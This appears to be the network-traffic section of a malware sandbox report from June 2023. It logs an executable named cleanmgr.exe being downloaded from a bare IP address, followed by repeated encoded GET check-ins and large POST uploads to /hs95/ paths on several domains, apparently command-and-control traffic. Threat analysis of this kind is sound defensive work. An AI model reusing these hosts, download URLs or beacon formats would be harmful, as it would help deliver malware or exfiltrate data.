Network Analysis

GET /102/cleanmgr.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 15.223.2.12 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 13 Jun 2023 14:24:55 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 Last-Modified: Tue, 13 Jun 2023 06:06:44 GMT ETag: "cf000-5fdfca3c004b5" Accept-Ranges: bytes Content-Length: 847872 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

GET /hs95/?iBIXfj=jHyWgmrPYlHBcFKvTz7WzXop+ND9BtMZmXTF/hfv76c859nDhSv//t4PMU4GMaIWSr56nrLq&_R-d4b=ZL0XMDvPuhP&sql=1 HTTP/1.1 Host: www.episcopus.biz Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 13 Jun 2023 14:25:35 GMT Content-Type: text/html Content-Length: 291 ETag: "648634f6-123" Via: 1.1 google Connection: close

POST /hs95/ HTTP/1.1 Host: www.episcopus.biz Connection: close Content-Length: 3416 Cache-Control: no-cache Origin: http://www.episcopus.biz User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.episcopus.biz/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Tue, 13 Jun 2023 14:25:37 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_jpUcln2qL6FdkxnTYmdGqaaqmobODzG1U4eZbI6ExY0eGwp5hF5z63SyDsgKx0ssTuahOIgRV1rR8SY5qXp9Lw Via: 1.1 google Connection: close

POST /hs95/ HTTP/1.1 Host: www.episcopus.biz Connection: close Content-Length: 266632 Cache-Control: no-cache Origin: http://www.episcopus.biz User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.episcopus.biz/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Tue, 13 Jun 2023 14:25:37 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_jpUcln2qL6FdkxnTYmdGqaaqmobODzG1U4eZbI6ExY0eGwp5hF5z63SyDsgKx0ssTuahOIgRV1rR8SY5qXp9Lw Via: 1.1 google Connection: close

GET /hs95/?iBIXfj=RelPKQUzZnqb0rMkOI74U2M80DzK2Xff/Sl4IDE6W4SP8KoZXSG+wob/ZpnGLgr2dbsqyUdU&_R-d4b=ZL0XMDvPuhP&sql=1 HTTP/1.1 Host: www.jiuse9125.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 13 Jun 2023 14:25:55 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://jiuse9125.com/hs95/?iBIXfj=RelPKQUzZnqb0rMkOI74U2M80DzK2Xff/Sl4IDE6W4SP8KoZXSG+wob/ZpnGLgr2dbsqyUdU&_R-d4b=ZL0XMDvPuhP&sql=1 J-Rtag: GCP2 x-rtag: AWSG1

POST /hs95/ HTTP/1.1 Host: www.jiuse9125.com Connection: close Content-Length: 3416 Cache-Control: no-cache Origin: http://www.jiuse9125.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.jiuse9125.com/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate

POST /hs95/ HTTP/1.1 Host: www.jiuse9125.com Connection: close Content-Length: 266632 Cache-Control: no-cache Origin: http://www.jiuse9125.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.jiuse9125.com/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /hs95/?iBIXfj=WktY9fkZfZJzfhYK1VzFmKDpe07rk+jAjbSgNo7CFHBbZVjRVdlTnIxVx7S7/m3QF+Nm1+vw&_R-d4b=ZL0XMDvPuhP&sql=1 HTTP/1.1 Host: www.chaviaggarwallajababfood.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 13 Jun 2023 14:26:15 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.chaviaggarwallajababfood.com/hs95/?iBIXfj=WktY9fkZfZJzfhYK1VzFmKDpe07rk+jAjbSgNo7CFHBbZVjRVdlTnIxVx7S7/m3QF+Nm1+vw&_R-d4b=ZL0XMDvPuhP&sql=1 X-ac: 3.nrt _bur BYPASS

POST /hs95/ HTTP/1.1 Host: www.chaviaggarwallajababfood.com Connection: close Content-Length: 3416 Cache-Control: no-cache Origin: http://www.chaviaggarwallajababfood.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.chaviaggarwallajababfood.com/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate

POST /hs95/ HTTP/1.1 Host: www.chaviaggarwallajababfood.com Connection: close Content-Length: 266632 Cache-Control: no-cache Origin: http://www.chaviaggarwallajababfood.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.chaviaggarwallajababfood.com/hs95/ Accept-Language: en-US Accept-Encoding: gzip, deflate